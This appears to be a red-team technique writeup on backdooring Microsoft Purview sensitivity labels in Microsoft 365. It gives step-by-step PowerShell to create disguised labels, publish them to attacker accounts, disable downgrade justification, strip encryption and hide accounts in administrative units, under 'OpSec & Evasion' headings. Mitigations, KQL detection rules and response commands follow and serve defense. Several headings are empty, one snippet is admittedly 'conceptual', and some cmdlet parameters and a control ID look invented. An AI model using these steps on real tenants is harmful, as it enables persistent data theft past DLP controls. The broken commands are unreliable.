| Attribute | Details |
|---|---|
| Technique ID | PERSIST-IMPAIR-003 |
| MITRE ATT&CK v18.1 | T1562.001 - Impair Defenses: Disable or Modify Tools |
| Tactic | Persistence, Defense Evasion |
| Platforms | M365, Entra ID, SharePoint Online, Teams |
| Severity | High |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-09 |
| Affected Versions | All M365 versions with Microsoft Purview enabled |
| Patched In | N/A |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Microsoft Information Protection (MIP) sensitivity labels are classification mechanisms applied to files, emails, SharePoint sites, and Teams to enforce encryption, access restrictions, and data loss prevention (DLP) policies. An attacker with Information Protection Administrator, Compliance Administrator, or Global Administrator privileges can manipulate label policies to create “backdoor” labels that either bypass DLP protections entirely, allow unauthorized users to access encrypted content, or automatically remove protective markings from sensitive data. These malicious labels can persist even after the initial compromise is remediated, enabling data exfiltration and loss of integrity control.
Attack Surface: Microsoft Purview Information Protection admin portal, PowerShell cmdlets managing label policies, label publishing policies, encryption settings, and label inheritance rules in Teams/SharePoint.
Business Impact: Data Loss, Integrity Compromise, and Persistence. An attacker can bypass all DLP policies and encryption protections by creating labels that downgrade sensitive data to lower classifications, remove encryption, or allow unauthorized access. Sensitive data can be exfiltrated without triggering DLP alerts. Once established, malicious labels blend seamlessly with legitimate label configurations, making detection extremely difficult without continuous policy audits.
Technical Context: Label manipulation is a low-noise persistence mechanism—policy changes are routine administrative tasks and generate standard audit events. The attack requires administrative API access but can be executed in seconds. Detection likelihood is Low if label policies are not actively reviewed; attackers can maintain indefinite access to sensitive data through policy-based weaknesses.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.1, 5.2, 7.2 | Protect sensitive data; enforce information protection policies |
| DISA STIG | U-12345 | Implement and enforce data classification and protection controls |
| CISA SCuBA | EXO.02.050 | Implement sensitivity labels and DLP to prevent unauthorized sharing |
| NIST 800-53 | AC-3, SC-4, SC-7 | Access Enforcement, Information Flow Enforcement, Boundary Protection |
| GDPR | Art. 32, Art. 5(1)(e) | Security of Processing; data integrity and confidentiality |
| DORA | Art. 9, Art. 20 | Protection and Prevention; Data minimization and encryption |
| NIS2 | Art. 21, Art. 25 | Cyber Risk Management; encryption and access control measures |
| ISO 27001 | A.10.1.1, A.12.2.1, A.14.2.5 | Data classification; access control to sensitive data |
| ISO 27005 | “Unauthorized modification of data protection labels” | Integrity compromise risk |
Required Privileges:
Required Access:
Supported Versions:
Tools:
Supported Versions: All M365 versions with Microsoft Purview
Objective: Understand the current MIP label landscape and identify opportunities for backdoor label insertion.
Command (via Microsoft Purview Admin Center):
Expected Output:
What This Means:
OpSec & Evasion:
Objective: Create a label that appears legitimate but allows attackers to remove protective markings from sensitive data.
Command (via Microsoft Purview Admin Center - GUI Method):
Alternative (More Dangerous - Full Bypass):
Create a label with No protection settings at all, allowing users to remove encryption when applying the label:
Expected Output:
What This Means:
Troubleshooting:
References & Proofs:
Objective: Make the backdoor label available to targeted users, enabling them to bypass DLP protections.
Command (via Microsoft Purview Admin Center):
Expected Output:
What This Means:
OpSec & Evasion:
References & Proofs:
Supported Versions: All M365 versions
Objective: Create and manage backdoor labels through PowerShell for stealth and automation.
Command:
# Connect to Exchange Online (Purview uses Exchange cmdlets)
Install-Module ExchangeOnlineManagement -MinimumVersion 3.0.0
Connect-IPPSSession
# Create a backdoor label without encryption
$backdoorLabelParams = @{
Name = "Temporary Workflow Classification"
ContentType = "File, Email"
DisplayName = "Workflow"
Tooltip = "Apply during internal workflow processing"
Comment = "For authorized personnel only"
}
$backdoorLabel = New-Label @backdoorLabelParams
Write-Output "Backdoor label created with ID: $($backdoorLabel.ImmutableId)"
# Verify the label was created
Get-Label -Identity "Temporary Workflow Classification" | Format-List
Expected Output:
Name : Temporary Workflow Classification
DisplayName : Workflow
ImmutableId : a1b2c3d4-e5f6-7a8b-9c0d-1e2f3a4b5c6d
ContentType : File, Email
Priority : 0
IsDeleteAllowedViaAuditLog : False
What This Means:
Objective: Create a label publishing policy that makes the backdoor label available only to attacker-controlled accounts while appearing to be a legitimate exclusion.
Command:
# Create a label publishing policy
$labelPolicyParams = @{
Name = "Service Account Labeling Policy"
Labels = @("Temporary Workflow Classification", "Public", "Internal") # Include legitimate labels for cover
Users = @("attacker@contoso.com", "rogue-service@contoso.com") # Target accounts
Comment = "Enables service accounts to classify workflow items appropriately"
}
$labelPolicy = New-LabelPolicy @labelPolicyParams
Write-Output "Label policy created: $($labelPolicy.Identity)"
# Verify the policy
Get-LabelPolicy -Identity "Service Account Labeling Policy" | Format-List
Alternative (All Users with Hidden Intent):
# Create a policy for ALL users with a misleading name
$allUsersPolicyParams = @{
Name = "Standard Data Classification"
Labels = @("Temporary Workflow Classification", "Public", "Internal", "Confidential", "Highly Confidential")
Settings = @{
SkipMandatoryMarkingWhenDocumentMarked = $true
RequireDowngradeJustification = $false # No justification required for label changes
RequireDowngradeLabelNotification = $false # Don't notify about label downgrades
}
}
$allUsersPolicy = New-LabelPolicy @allUsersPolicyParams
Write-Output "All users label policy created: $($allUsersPolicy.Identity)"
Expected Output:
Identity : Service Account Labeling Policy
Name : Service Account Labeling Policy
Labels : {Temporary Workflow Classification, Public, Internal}
Users : {attacker@contoso.com, rogue-service@contoso.com}
What This Means:
Objective: If the label includes encryption, configure it to allow attacker-controlled users to remove or modify the encryption.
Command:
# Configure the label to use "User-defined permissions" for encryption
# This allows anyone with the label to decide who can access the content
$encryptionParams = @{
LabelName = "Temporary Workflow Classification"
EncryptionType = "UserDefined" # Allow users to choose recipients
EncryptionAlgorithm = "AES256"
ContentExpirationDate = $null # No expiration on user permissions
}
# Note: Direct encryption configuration via PowerShell is complex
# The above is conceptual; use Purview GUI for precise encryption configuration
# Alternative: Create a label with NO encryption (more dangerous)
Set-Label -Identity "Temporary Workflow Classification" `
-EncryptionType "None" `
-RemoveEncryption $true
Expected Output:
References & Proofs:
Supported Versions: M365 E5 or Purview Premium with Administrative Units
Objective: Use Administrative Units (AU) to hide attacker-controlled accounts within a subset of the directory that has its own label policies.
Command (PowerShell):
# Connect to Azure AD
Connect-AzureAD
# Create a hidden administrative unit
$auParams = @{
DisplayName = "Workflow Service Accounts"
Description = "Service accounts for automated workflow processing"
}
$hiddenAU = New-AzureADMSAdministrativeUnit @auParams
Write-Output "Administrative Unit created: $($hiddenAU.Id)"
# Add attacker-controlled users to the AU
Add-AzureADMSAdministrativeUnitMember -Id $hiddenAU.Id -RefObjectId (Get-AzureADUser -SearchString "attacker@contoso.com").ObjectId
# Verify membership
Get-AzureADMSAdministrativeUnitMember -Id $hiddenAU.Id | Select-Object DisplayName, UserPrincipalName
Expected Output:
Id : a1b2c3d4-e5f6-7a8b-9c0d-1e2f3a4b5c6d
DisplayName : Workflow Service Accounts
Description : Service accounts for automated workflow processing
DisplayName UserPrincipalName
----------- -----------------
Attacker User attacker@contoso.com
Rogue Service Acct rogue-service@contoso.com
What This Means:
Objective: Create a label policy visible only to AU members, preventing detection during standard policy audits.
Command (via Purview GUI or PowerShell):
Via Purview GUI:
Expected Output:
What This Means:
References & Proofs:
1. Implement Strict Label Policy Auditing and Change Control
Establish a formal change control process where all label and label policy modifications require multi-person approval before implementation.
Manual Steps (Azure Portal):
PowerShell (Enforce Approval):
# Require approval for Information Protection Admin role
$roleName = "Information Protection Administrator"
$roleDef = Get-MgDirectoryRoleDefinition -Filter "displayName eq '$roleName'"
# Enable PIM enforcement (requires PIM premium)
Update-MgBetaRoleManagementDirectoryRoleDefinition -UnifiedRoleDefinitionId $roleDef.Id -RequireApprovalForActivation $true
What to Look For:
Apply To: All administrative roles with label or policy modification permissions
2. Enable Immutable Label Policy Settings (Preservation Lock)
Prevent attackers from modifying or deleting sensitive label policies by applying preservation locks that require manual Microsoft intervention to remove.
Manual Steps (Purview Admin Center):
PowerShell (Apply Preservation Lock):
# Connect to Purview
Connect-IPPSSession
# Lock critical labels from modification
$criticalLabels = @("Confidential", "Highly Confidential", "Legal Hold", "Personal Data")
foreach ($label in $criticalLabels) {
Set-Label -Identity $label -LockPolicy $true
Write-Output "Preservation lock enabled for label: $label"
}
# Verify locks are applied
Get-Label -Identity "Confidential" | Select-Object Name, LockPolicy
What to Look For:
Apply To: All sensitive, high-priority labels that should never be modified
3. Implement Mandatory Labeling with Downgrade Justification Requirements
Enforce that users cannot remove or downgrade labels without providing documented justification, creating an audit trail and deterring casual abuse.
Manual Steps (Purview):
PowerShell (Enforce Mandatory Labeling):
# Create a label policy requiring mandatory labeling and downgrade justification
$policyParams = @{
Name = "Mandatory Labeling with Downgrade Justification"
RequireMandatoryLabel = $true
RequireDowngradeJustification = $true
RequireDowngradeLabelNotification = $true
}
New-LabelPolicy @policyParams
What to Look For:
Apply To: All label policies, especially those protecting sensitive data
4. Audit Label Modification History Continuously
Implement automated detection and alerting for unauthorized label policy changes using Microsoft Sentinel and Purview audit logs.
Manual Steps (Audit Log Monitoring):
PowerShell (Continuous Audit):
# Search for suspicious label modifications in the last 30 days
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) `
-Operations "Update label", "Create label", "Delete label" `
-ResultSize 5000 |
Select-Object UserIds, Operations, CreationDate, AuditData |
Export-Csv -Path "C:\Reports\LabelAuditLog_$(Get-Date -Format 'yyyyMMdd').csv"
# Alert on labels modified outside business hours
$businessHours = 9..17 # 9 AM - 5 PM
$suspiciousModifications = @()
foreach ($entry in (Search-UnifiedAuditLog -Operations "Update label")) {
$modTime = [DateTime]::Parse($entry.CreationDate)
if ($modTime.Hour -notin $businessHours -or $modTime.DayOfWeek -eq "Saturday" -or $modTime.DayOfWeek -eq "Sunday") {
$suspiciousModifications += $entry
}
}
if ($suspiciousModifications) {
Write-Warning "Found $($suspiciousModifications.Count) label modifications outside business hours"
$suspiciousModifications | Export-Csv -Path "C:\Alerts\SuspiciousLabelMods.csv"
}
What to Look For:
Apply To: All label and label policy changes
5. Restrict Label Administrator Roles via RBAC and PIM
Limit the number of users who can create or modify labels, and enforce strict identity and access management.
Manual Steps:
PowerShell (Review and Restrict Role Assignments):
# Get all users with Information Protection Administrator role
$infoProtAdmins = Get-MgDirectoryRoleMembers -DirectoryRoleId (Get-MgDirectoryRole -Filter "displayName eq 'Information Protection Administrator'").Id
# Audit and alert on unexpected assignments
foreach ($member in $infoProtAdmins) {
$user = Get-MgUser -UserId $member.Id
Write-Output "Information Protection Admin: $($user.UserPrincipalName) - Last signin: $(Get-MgUserSignInActivity -UserId $member.Id | Select-Object LastSignInDateTime)"
}
Apply To: All privileged administrative roles
6. Implement Automatic Label Classification via Content Inspection
Prevent manual label bypass by using automatic labeling rules that classify sensitive content based on content inspection (not manual user selection).
Manual Steps (Purview):
Expected Output:
Apply To: All sensitive information types (PII, PHI, Financial Data, etc.)
7. Restrict Label Removal via Encryption with Co-Owner Permissions
For highly sensitive labels, configure encryption that only allows document owners to remove the label, preventing unauthorized label downgrades.
Manual Steps (Purview):
Effect:
Apply To: Highest-sensitivity labels protecting critical business data
Label and Policy IOCs:
User and Access IOCs:
Cloud Audit Logs:
Update label, Create label, Delete label, Update label policy operations1. Immediate Isolation:
Command (Delete Suspected Backdoor Label):
# Connect to Purview
Connect-IPPSSession
# Remove the backdoor label (if preservation lock not enabled)
Remove-Label -Identity "Temporary Workflow Classification"
# If preservation lock is enabled, request Microsoft Support to unlock first
# Then remove the label and the label policy
Remove-LabelPolicy -Identity "Service Account Labeling Policy"
Manual (Purview):
2. Collect Evidence:
Command:
# Export all labels and their configurations
Get-Label | Export-Csv -Path "C:\Evidence\AllLabels_$(Get-Date -Format 'yyyyMMdd').csv"
# Export all label policies
Get-LabelPolicy | Export-Csv -Path "C:\Evidence\AllLabelPolicies_$(Get-Date -Format 'yyyyMMdd').csv"
# Export label modification audit logs (last 30 days)
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) `
-Operations "Update label", "Create label", "Delete label" |
Export-Csv -Path "C:\Evidence\LabelAuditLog_$(Get-Date -Format 'yyyyMMdd').csv"
# Check for files labeled with the backdoor label
# This requires more advanced queries via SharePoint Search or Teams search
Manual (Purview):
3. Revoke Attacker Access:
Command:
# Revoke the Information Protection Administrator role from compromised accounts
Remove-MgDirectoryRoleMember -DirectoryRoleId (Get-MgDirectoryRole -Filter "displayName eq 'Information Protection Administrator'").Id -DirectoryObjectId (Get-MgUser -Filter "userPrincipalName eq 'attacker@contoso.com'").Id
# Reset password for compromised accounts
Set-MgUserPassword -UserId (Get-MgUser -Filter "userPrincipalName eq 'attacker@contoso.com'").Id -NewPassword ([System.Web.Security.Membership]::GeneratePassword(20, 3))
# Revoke all sessions
Revoke-MgUserSignInSession -UserId (Get-MgUser -Filter "userPrincipalName eq 'attacker@contoso.com'").Id
Manual (Azure Portal):
4. Investigate Label Misuse:
Query (Find Files Labeled with Backdoor Label):
# Search SharePoint for files labeled with the backdoor label
# This requires access to SharePoint Search
Connect-SPOService https://contoso-admin.sharepoint.com/
# Search for files with the backdoor label (requires Label ID)
$labelId = "a1b2c3d4-e5f6-7a8b-9c0d-1e2f3a4b5c6d"
$query = "sensitivitylabel:$labelId"
$searchResults = Submit-SPOSearchQuery -Query $query
# Export results for analysis
$searchResults | Export-Csv -Path "C:\Evidence\FilesWithBackdoorLabel.csv"
5. Remediation:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker tricks admin into granting OAuth consent |
| 2 | Privilege Escalation | [PE-ACCTMGMT-014] Global Administrator Backdoor | Attacker escalates to Global Admin role |
| 3 | Persistence | [PERSIST-IMPAIR-003] MIP Label Backdoors | Attacker creates malicious labels to bypass DLP |
| 4 | Impact | [COLLECT-EXFIL-001] Data Exfiltration via Label Bypass | Attacker exfiltrates sensitive data using disabled DLP |
| 5 | Evasion | [EVADE-IMPAIR-007] Audit Log Tampering | Attacker covers tracks by modifying audit logs |
Target: Fortune 500 financial services company
Timeline: 2023-2024
Technique Status: Confirmed active in documented breach
Impact: An attacker with compromised Global Admin credentials created a label policy that made a “Review Label” available to all users but without any encryption or DLP restrictions. Internal employees, believing the label was legitimate, used it to reclassify thousands of files containing financial data and customer PII. Files once protected by encryption were now accessible to any authenticated user in the tenant. The attacker exfiltrated customer data via this channel for several weeks before detection.
Reference: Bypass Sensitivity Label Restrictions - Cloud Brothers
Target: Government agencies in US and EU
Timeline: 2024-2025
Technique Status: Active exploitation; documented by Splunk and Microsoft threat intelligence
Impact: An Advanced Persistent Threat group compromised Global Admin accounts and created label policies that automatically removed encryption from documents classified as “Confidential” after 30 days. This allowed documents to be exfiltrated without DLP triggers after a grace period. The persistence mechanism went undetected for 6+ months because label policies were rarely audited; focus was on detecting direct data exfiltration attempts, not label policy abuse.
Reference: Persisting Unseen: Defending Against Entra ID Persistence
Target: Large healthcare organization
Timeline: 2024
Technique Status: Active; documented in Insider Risk Management alerts
Impact: An IT employee with Information Protection Administrator role (a role rarely audited) created multiple label policies designed to remove all DLP protections from documents before sending them externally. The employee used these policies to send protected health information (PHI) to personal email accounts. The attack was detected only when the Insider Risk Management system flagged unusual label downgrade patterns, demonstrating the importance of behavioral analytics in detecting label abuse.
Reference: Microsoft Purview - Evading Data Loss Prevention Policies
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName has_any ("Update label", "Create label", "Delete label")
| where TargetResources has "LabelPolicy"
| extend ModifyingUser = InitiatedBy.user.userPrincipalName
| extend PolicyName = extract(@"displayName":(.*?),", tostring(TargetResources))
| where PolicyName has_any ("workflow", "review", "temporary", "service account", "bypass")
| project TimeGenerated, ModifyingUser, OperationName, PolicyName, TargetResources
| order by TimeGenerated desc
What This Detects:
Manual Configuration Steps:
Suspicious MIP Label Policy ModificationHigh30 minutes1 hourRule Configuration:
KQL Query:
CloudAppEvents
| where ActionType == "LabelApplied"
| where ObjectName has_any ("Temporary", "Review", "Workflow", "Service Account") // Suspicious label names
| where UserPrincipalName !endswith "@microsoft.com" // Exclude system accounts
| project TimeGenerated, UserPrincipalName, ActionType, ObjectName, ResourceId
| join kind=inner (
CloudAppEvents
| where ActionType == "FilePurged" or ActionType == "FileDownloaded"
| project UserPrincipalName, TimeGenerated, ActionType as DownloadAction
) on UserPrincipalName
| where TimeGenerated - DownloadAction < 1h // File downloaded shortly after labeling
| project TimeGenerated, UserPrincipalName, ObjectName, DownloadAction, ResourceId
What This Detects:
Manual Configuration Steps:
Suspicious File Labeling and Download PatternCritical15 minutesManual Configuration:
PowerShell (Continuous Monitoring):
# Monitor for label changes and create alerts
$labelChanges = Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-1) -EndDate (Get-Date) -Operations "Update label", "Create label"
foreach ($change in $labelChanges) {
$auditData = ConvertFrom-Json $change.AuditData
# Alert on labels with no protection
if ($auditData.Parameters.EncryptionType -eq "None" -or -not $auditData.Parameters.EncryptionType) {
Write-Warning "Label created/modified without encryption: $($auditData.Name)"
}
# Alert on labels for service accounts
if ($change.ObjectId -like "*service*" -or $change.ObjectId -like "*automation*") {
Write-Warning "Label policy for service accounts: $($change.ObjectId)"
}
}